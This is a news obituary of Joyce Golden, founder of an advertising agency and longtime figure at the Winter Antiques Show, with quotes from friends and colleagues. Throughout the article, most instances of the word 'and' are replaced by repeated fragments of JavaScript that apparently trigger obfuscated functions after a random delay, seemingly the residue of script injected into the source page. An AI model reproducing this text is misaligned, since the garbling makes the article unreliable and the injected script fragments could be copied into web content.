NEW YORK CITY — Joyce Golden died peacefully at her home in New York City on November 16 following a long illness. The retired founder of Joyce Golden & Associates, the advertising agency bearing her name, was 84.

In late 2003, on the eve of Winter Antiques Show’s 50th anniversary, the boisterous, larger-than-life figure recalled her introduction to the antiques business, whose customs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and personalities she relished over many decades.

“I started in the advertising department at The Magazine Antiques in the late 1950s. The magazine used to take booths at the shows. There were two salesmen in the ad department but they didn’t like going to shows so they sent me. I loved it because it got me out of the office andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and I enjoyed talking to people. I wasn’t selling space then because they didn’t let girls sell space. I wandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andered around andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and talked to the dealers. It was very low key.”

Golden told us that she left Antiques in 1965 to form a partnership with art director Robert Cihi. “She was vivacious, affable andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enormously energetic,” said Cihi, who retired to Fort Myers, Fla., a dozen years ago.

Over the years, one of her closest friendships andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and most profitable alliances was with Russell Carrell. Through the powerful manager of the Winter Antiques Show andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other top charity events, she met dealers such as Ron Bourgeault, who last week remembered Golden’s vitality andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and love of life.

Carrell, who Golden had known since the late 1950s, was an intimidating presence. “He scared the hell out of me, so I was always very polite. In time he adopted me andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even at the time I knew it was unique. The women he liked were powerful andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and strong,” Golden recalled.

According to sponsoring charity East Side House Settlement, Golden andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Cihi formally produced the Winter Antiques Show catalog between 1980 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1995.

“She did a wonderful job presenting our signature event. She remained a staunch andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and loyal friend of East Side House Settlement andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a generous contributor who would call me periodically to keep up with what the charity was doing. She was also a lot of fun. She had a great sense of humor andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a wonderful sense of irony,” said the Settlement’s executive director, John Sanchez.

A consummate New Yorker, Golden took advantage of the city’s myriad cultural offerings, often in the company of her close friend Doris Leslie Blau, the prominent Manhattan dealer in antique rugs whose imaginative displays were fixtures of the Winter Antiques Show.

“She had an affinity for dealers. She connected with them in a deep way,” said Blau, noting Golden’s capacity for friendship. “If a friend came to her in need, she was ready to help. It was a wonderful quality, one that fostered closeness andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and created warmth.”

Blau is organizing a gathering in her friend’s honor for January in Manhattan.

Donations in Golden’s name may be made to the East Side House Settlement in the Bronx. For information, 718-665-5250 or www.eastsidehouse.org.